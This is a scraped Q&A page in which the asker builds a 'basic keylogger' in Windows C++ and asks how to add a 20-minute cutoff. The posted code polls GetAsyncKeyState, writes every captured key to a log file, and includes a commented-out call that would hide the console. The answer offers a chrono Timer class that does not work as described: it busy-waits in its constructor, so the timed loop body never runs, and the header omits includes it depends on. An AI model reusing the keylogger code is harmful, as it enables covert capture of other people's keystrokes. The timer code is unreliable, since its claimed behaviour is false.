简体   繁体   中英

How do I create a timer for the program with clocking?

I am trying to make a basic keylogger, and I want to be able to close the program after 20 minutes. looking online I found this clock_T functions, but I can't figure out how to transform this into seconds (and from seconds I will be able to make mins).

I tried to use the good old timer based on the "sleep" function. but it gave me a huge amount of problems considering that I must be able to type anytime and save it in a log. I am not able to understand high level of coding, therefore I struggled quite a bit looking at videos or descriptions on the internet. I was expecting to see displayed the seconds increasing over time, so I would later on be able to shut down the code once the desired amount of second would be reached, but I instead ran into a spam of the same number for the specific second. example: 1111111111111111111111111111111111 (after one second it increases)22222222222222222222222222222222 (increases again) 333333333333333333333333. and so on.

   #include <iostream>
    #include <string>
    #include <Windows.h>
    #include <fstream>
    #include <time.h>
    using namespace std;

    int main() {
    //  FreeConsole();

        clock_t start = 0;
        clock_t end = 0;
        clock_t delta = 0;

        start = clock();

        fstream info;
        string filename = "Data.txt";


            while (true) {
                info.open(filename.c_str(), ios::app);
                for (char i = 31; i < 122; i++) {
                    if (GetAsyncKeyState(i) == -32767) { 
                        info << i;
                        cout << i;
                    }

                }
                info.close();
                end = clock();
                delta = end - start;
                delta = delta; // 1000;
                std::cout << delta/CLOCKS_PER_SEC << endl;
            }
            return 0;
        }

I have this class template that uses the chrono library. Here is a simple example of its use.

main.cpp

#include <iostream>

#include "Timer.h"

int main() {

    while( Timer<minutes>(1).isRunning() ) {
        // do something for 1 minute
    }

    while ( Timer<seconds>(30).isRunning() ) {
        // do something for 30 seconds
    }

    return 0;
}

Timer.h

#pragma once

#include <chrono>

using namespace std::chrono;

template<class Resolution = seconds>
class Timer {
public:
    using Clock = std::conditional_t<high_resolution_clock::is_steady,
                                     high_resolution_clock, steady_clock>;

private:
    Clock::time_point startTime_;
    Clock::time_point timeToRunFor_;    
    bool isRunning_ = false;

public:
    explicit Timer(int count) :
        startTime_{ Clock::now() },
        timeToRunFor_{ Clock::now() + Resolution(count) },
        isRunning_{ true }
    {
        run();
    }

    ~Timer() {
        const auto stopTime = Clock::now();
        std::ostringstream stream;
        stream << "Time Elapsed: "
            << duration_cast<Resolution>(stopTime - startTime_).count()  
            << std::endl;
        std::cout << stream.str() << std::endl;
    }

    bool isRunning() {
        return isRunning_;
    }

private:    
    void run() {
        while (steady_clock::now() < timeToRunFor_) {}
        isRunning_ = false;
    }
};

Output

Time Elapsed: 1

Time Elapsed: 30

Time waited for first about 1 minute then printed 1, then waited for about 30 seconds then printed 30. This is a nice light weight class and is simple to use.


I'm currently in the process of adding more to this class to give support for manual starting and stopping usages with a default constructor. As this class currently stands above you could create an instance or an object of this class as a variable, and give it a time explicitly and it will run for that long, but you can not manually start and stop this timer when you want to. Once I finish this class, the default constructor will not use the internal members timeToRunFor_ and run() as they are meant to be used with the explicit constructor version.

Once completed you can set how long you want something to run for via the while loop then terminate after desired time has expired via the Explicit constructor version, or you can create a local instance of this class as an object, invoke the start function, do some other operations for and unknown amount of time, then call the stop function after and perform the query of the time elapsed. I need a little more time to finish this class so I will post this as is for now and once I complete my updates to the class I'll update it here to the newer version!

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM